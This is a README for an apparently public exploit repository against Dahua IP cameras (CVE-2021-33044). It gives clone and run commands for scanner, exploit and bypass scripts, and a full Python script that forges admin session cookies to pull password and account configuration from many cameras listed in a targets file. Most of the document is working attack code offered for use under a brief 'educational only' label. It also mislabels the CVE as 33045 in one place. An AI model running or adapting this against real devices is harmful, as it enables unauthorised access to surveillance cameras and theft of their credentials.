Dahua Authentication Bypass PoC Exploit Simulation (CVE-2021-33044)

Overview

Dahua IP cameras are IoT devices commonly used in security surveillance systems. Since they are often deployed on internal networks or accessible from the Internet, security vulnerabilities in IP cameras can severely impact privacy and information security.

CVE-2021-33045 is a security vulnerability present in some Dahua camera models, allowing unauthorized access to internal configuration resources without valid authentication. This vulnerability stems from weak access control mechanisms in the device firmware.

Vulnerability Information

Cause

The vulnerability stems from insecure authentication design in Dahua camera firmware:

• Server does not properly validate session/token
• Trusts data sent from the client
• Some sensitive configuration endpoints only check for the existence of a cookie, not actual access rights

This allows an attacker to:

• spoof the authentication process
• bypass login entirely

References:

• NVD CVE-2021-33044
• http://seclists.org/fulldisclosure/2021/Oct/13

How the Authentication Bypass Mechanism Works

Normal Flow

→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm

Scenarios

Usage

Installation

# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044

pip install requests

Network Scanning

# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800

# Single host with port
python dahua_scanner.py https://example.com

Common Dahua ports: 80,443, 8080, 37777, 37778

Exploit CVE Vulnerabilities

python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044  #CVE
python dahua_exploit.py --help

Authentication Bypass

python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com  # Dump thiết bị sau khi bypass

Example

#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()

def dump_accounts(ip, port=80):
    base = f"http://{ip}:{port}"
    cookies = {
        "userName": "admin",
        "userLevel": "1",
        "sessionID": "00000000"
    }
    urls = [
        "/current_config/passwd",
        "/current_config/Account1",
        "/current_config/UserMgr",
        "/current_config/accounts"
    ]

    for path in urls:
        try:
            r = requests.get(
                base + path,
                cookies=cookies,
                verify=False,
                timeout=8
            )
            if r.status_code == 200 and len(r.text) > 30:
                print(f"[+] {ip}:{port}  VULNERABLE → {path}")
                return
        except:
            pass

    print(f"[-] {ip}:{port}  safe / patched")

for line in open("targets.txt"):
    t = line.strip()
    if not t or t.startswith("#"):
        continue
    ip = t.split(":")[0]
    port = int(t.split(":")[1]) if ":" in t else 80
    dump_accounts(ip, port)

Explanation

• The script uses the requests library and actively disables SSL warnings to suppress SSL alerts.

• The dump_accounts(ip, port=80) function is the main function responsible for checking a camera device. The main purpose of the function is to:

  • Construct the URL from the IP address and port
  • Simulate an admin login state via cookies
  • Send requests to sensitive configuration endpoints
  • Analyze the response to determine if the device is vulnerable

• Simulating authentication cookies. The function uses cookie values such as:

  • userName=admin
  • userLevel=1
  • sessionID=00000000

• In affected camera versions, the backend does not verify the actual sessionID, leading the system to believe the request comes from a valid admin account.

Target List Processing Loop

The script reads the target list from an input file and calls the check function for each device sequentially. This approach allows automated assessment of multiple cameras.

Development Process

These scripts were developed based on:

• CVE details published by NVD
• Dahua security advisories
• Public PoC references (seclists.org, packetstormsecurity)

Test Status:

• Authentication bypass logic implemented per CVE specifications
• Limited testing on vulnerable devices.

Notes

This project:

• For educational and research purposes only
• Run in a personal lab environment